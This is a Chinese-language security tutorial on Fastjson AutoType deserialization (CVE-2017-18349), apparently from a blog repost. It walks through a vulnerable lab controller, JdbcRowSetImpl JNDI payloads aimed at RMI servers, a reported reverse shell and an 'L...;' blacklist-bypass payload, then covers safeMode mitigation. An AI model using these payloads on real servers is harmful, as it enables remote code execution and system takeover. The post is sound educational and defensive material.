{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)

可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。

AutoType 特性

阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。

public static void main(String[] args) {
        Person person = new Person();
        person.setName("Tr0e");
        person.setAge(18);

        System.out.println("--------------序列化-------------");
        String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(typeJson);

        System.out.println("-------------反序列化-------------");
        String JSON_Serialize = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
        ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");
        Object man =  JSON.parse(JSON_Serialize);
        System.out.println(man.getClass().getName());
        System.out.println(man);
    }

【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");来手动开启白名单,否则会报错 “autoType is not support”。
imagepng
反序列化过程
为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
</dependency>

修改下 JavaBean,增加日志打印:

package com.tr0e.sec.Entity;


public class Person {

    public String name;

    public int age;

    public Person(){}

    public Person(int age, String name) {
        System.out.println("调用了构造函数");
        this.age = age;
        this.name = name;
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

进行反序列化调用:

System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));

输出结果如下所示:
imagepng
可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。

反序列化漏洞

回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type指定一个自己想要使用的攻击类库?答案是肯定的。

举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。

比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

/*
 * Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
 * Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN
 *
 */
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {
    @RequestMapping(value = "/vul", method = {RequestMethod.POST})
    public String vul(@RequestBody String content) {
        try {
            // 转换成object
            JSONObject jsonToObject = JSON.parseObject(content);
            log.info("[vul] Fastjson");
            return jsonToObject.get("name").toString();
        } catch (Exception e) {
            return e.toString();
        }
    }
}

此靶场的 Fastjson 版本:

<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.41</version>
</dependency>

一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
在这里插入图片描述

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
  "autoCommit":true,
  "age":19,"id":2,"name":"test"
}

成功反弹 Shell:
imagepng
JdbcRowSetImpl 利用链分析

根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceNameJdbcRowSetImpl#setAutoCommit方法中存在可控的参数。

其中setDataSourceName()方法会设置 dataSource 的值:
imagepng
setAutoCommit()会调用 connect() 方法,connect() 函数如下:
imagepng
imagepng
关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。

可以通过一个简单的代码示例进一步验证下:

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
        JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }

【More】Fastjson 漏洞的另外一条利用链路—— Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。

检测工具

同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng

补丁绕过

Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 “战争”。

【1.2.25 -1.2.41 版本绕过】
在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。

Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。

// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");

可以看到在开启白名单的条件下无法加载到我们的利用类:

这里我们修改autoTypeSupport=true,跟进TypeUtils#loadClass看一下:

  1. 如果以[开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步);
  2. 如果以L开头,以;结尾,则去掉开头和结尾进行类加载;

那么加上L开头和;结尾实际上就可以绕过所有黑名单。Payload 如下:

{
  "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi",
  "autoCommit":true
}

AutoType 安全模式

Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type字段不再生效,即当解析形如{"@type":"com.java.class"}的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。

ParserConfig.getGlobalInstance().setSafeMode(true); 

【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。

总结

本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。

这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着“显而易见”的致命漏洞(相信 Log4j 能够“潜伏”那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?

本文参考文章如下:

  1. JNDI注入详解 - FreeBuf;
  2. JNDI注入利用原理及绕过高版本JDK限制;
  3. Apache Log4j2 漏洞分析 | Gta1ta’s Blog;
  4. Apache Log4j2 Jndi RCE 高危漏洞分析与防御;
  5. Java安全:Fastjson反序列化漏洞 - 枫のBlog;
  6. 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1808416.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何制定工程战略

本文介绍了领导者如何有效制定工程战略&#xff0c;包括理解战略核心、如何收集信息并制定可行的策略&#xff0c;以及如何利用行业最佳实践和技术债务管理来提升团队效能和产品质量。原文: How to Build Engineering Strategy 如果你了解过目标框架&#xff08;如 OKR&#xf…

引人入胜的教育视频

对于一家专注于数字自动化和能源管理的跨国公司&#xff0c;我们制作了引人入胜的教育视频&#xff0c;帮助房主选择适合他们需求的电气产品。我们的团队审查并定稿文本&#xff0c;录制并编辑配音&#xff0c;选择背景音乐&#xff0c;设计图形&#xff0c;并制作了演示如何安…

MPB | 葛体达组-原位酶谱法高分辨率实时检测土壤微界面酶活分布

原位酶谱法高分辨率实时检测土壤微界面酶活分布 High resolution real-time detection of soil enzyme activity distribution by in situ zymography 魏晓梦1, 2、魏亮1, 2、郝存抗1, 2、祝贞科1, 2、吴金水1, 2、葛体达1, 2, * 1中国科学院亚热带农业生态研究所&#xff0c;中…

04-认识微服务-SpringCloud

04-认识微服务-SpringCloud 1.SpringCloud&#xff1a; 1.SpringCloud是目前国内使用最广泛的微服务框架。官网地址&#xff1a;https://spring.io/projects/spring-cloud 2.SpringCloud集成了各种微服务功能组件&#xff0c;并基于SpringBoot实现了这些组件的自动装配&…

Vue3学习记录第三天

Vue3学习记录第三天 背景说明学习记录Vue3中shallowReactive()和shallowRef()Vue3中toRaw()和markRaw()前端...语法Vue3中readonly()和shallowReadonly()函数 背景 之前把Vue2的基础学了, 这个课程的后面有简单介绍Vue3的部分. 学习知识容易忘, 这里仅简答做一个记录. 内容都很…

10-Feign-最佳实践分析

10-Feign-最佳实践分析 1.Feign的最佳实践: 方式一(继承):给消费者的FeignClient和提供者的controller定义统一的父接口作为标准。 ​ 服务紧耦合 ​ 父接口参数列表中的映射不会被继承下来 Spring官方不推荐这种方式: ​ 我们一般不推荐去共享接口在服务端和客户端…

【web性能】什么是图层?图层创建的条件?

CSS图层 浏览器在渲染一个页面时&#xff0c;会将页面分为很多个图层&#xff0c;图层有大有小&#xff0c;每个图层上有一个或多个节点。在渲染DOM的时候&#xff0c;浏览器所做的工作实际上是&#xff1a; 获取DOM后分割为多个图层&#xff1b;对每个图层的节点计算样式结果…

数据结构和算法之数组和链表

一、数组 数组是一种线性数据结构&#xff0c;它是由一组连续的内存单元组成的&#xff0c;用于存储相同类型的数据。在JavaScript中&#xff0c;数组可以包含任意类型的数据&#xff0c;不只限于基本数据类型。 1.存储方式 在内存中&#xff0c;数组的元素是连续存储的&…

Java 期末复习 习题集

&#x1f496; 单选题 &#x1f496; 填空题 &#x1f496; 判断题 &#x1f496; 程序阅读题 1. 读代码写结果 class A {int m 5;void zengA(int x){m m x;}int jianA(int y){return m - y;} }class B extends A {int m 3;int jianA(int z){return super.jianA(z) m;} …

【内存管理】页表映射

页表的一些术语 现在Linux内核中支持四级页表的映射&#xff0c;我们先看下内核中关于页表的一些术语&#xff1a; 全局目录项&#xff0c;PGD&#xff08;Page Global Directory&#xff09; 上级目录项&#xff0c;PUD&#xff08;Page Upper Directory&#xff09; 中间目…

Python openpyxl 库使用详解

大家好&#xff0c;当谈论处理 Excel 文件时&#xff0c;Python 的 openpyxl 库无疑是一个强大而灵活的工具。无论是在数据分析、报告生成还是自动化任务中&#xff0c;openpyxl 都展现出了其独特的价值。本文将详细介绍 openpyxl 库的各种功能和用法&#xff0c;帮助读者掌握如…

在idea中创建Scala项目教程

1.下载Scala支持插件 文件-设置-插件-marketplace 搜索Scala 下载 2.创建项目 文件-新建-项目-新项目-构建系统maven 3.创建Scala目录 Scr-main(右键)-新建-目录&#xff08;Scala回车键&#xff09;-scala(右键)-将项目标记为-源代码根目录 4.对当前项目引入Scala支持 未添…

mysql设置允许外部ip访问,局域网IP访问

&#xff08;支持MYSQL8版本&#xff09; 1. 登录进入mysql&#xff1b;mysql -uroot -p输入密码进入 2. 输入以下语句&#xff0c;进入mysql库&#xff0c;查看user表中root用户的访问 use mysql; select host,user from user; 3. 更新user表中root用户域属性&#xff0c…

CST Studio Suite 2020 软件安装教程、安装包下载

CST Studio Suite 2020 安装教程 安装包下载 复制链接在浏览器打开 https://www.qqres.com/3150.html CST Studio Suite 是由Dassault Systmes公司开发的一套电磁场仿真软件。它应用于电子、通信、天线设计、射频与微波、电磁兼容性 (EMC)、电磁干扰 (EMI) 等领域。 CST St…

C++笔试-剑指offer

剑指offer 文章目录 剑指offer数组[数组中重复的数据 ](https://leetcode.cn/problems/find-all-duplicates-in-an-array/description/)将元素交换到对应的位置 二维数组中的查找二叉搜索树 旋转数组的最小数字二分查找 数组中出现次数超过一半的数字相互抵消 连续子数组的最大…

【Python Cookbook】S02E03 fnmatch 模块做字符串匹配

目录 问题解决方案讨论 问题 在不同的操作系统下&#xff0c;怎样做字符串匹配&#xff1f; 解决方案 fnmatch() 模块提供两个函数&#xff0c;fnmatch() 以及 fnmatchcase() 可以用来执行做这样的匹配。 from fnmatch import fnmatch, fnmatchcasematch_res fnmatch(foo.…

TikTok Shop账号需要防关联吗?

在TikTokShop作为新兴的电商销售渠道中&#xff0c;保护账号的安全和隐私&#xff0c;防止账号关联成为了重要的任务。为了更好地理解为何需要防关联以及如何进行防范&#xff0c;让我们深入探讨一下这个问题。 为什么要防关联&#xff1f; 1. 账号异常风险&#xff1a;防关联…

Nvidia/算能 +FPGA+AI大算力边缘计算盒子:桥梁结构安全监测

中国铁路设计集团有限公司&#xff08;简称中国铁设&#xff09;&#xff0c;原铁道第三勘察设计院集团有限公司&#xff08;铁三院&#xff09;&#xff0c;是中国国家铁路集团有限公司所属的唯一设计企业&#xff0c;成立于1953年&#xff0c;总部位于天津市&#xff0c;是以…

【FreeRTOS】创建第一个多任务程序

创建第1个多任务程序 韦东山 Freertos学习 第一个多任务程序创建 1. 目标 创建两个任务&#xff0c;任务A运行Led_Test&#xff0c;任务B运行LCD_Test。 硬件平台&#xff1a;DShanMCU-F103开发板 2. 接口函数 创建任务的API函数 不同操作系统有不同的创建API函数 FreeRTO…

2024-6-10 石群电路-28

2024-6-10&#xff0c;星期一&#xff0c;14:15&#xff0c;天气&#xff1a;晴&#xff0c;心情&#xff1a;晴。今天又是阳光明媚的一天&#xff0c;自从减肥成功and道家养生后&#xff0c;越来越感觉夏热冬冷&#xff0c;夏长冬藏这一自然规律了&#xff0c;虽然外面艳阳高照…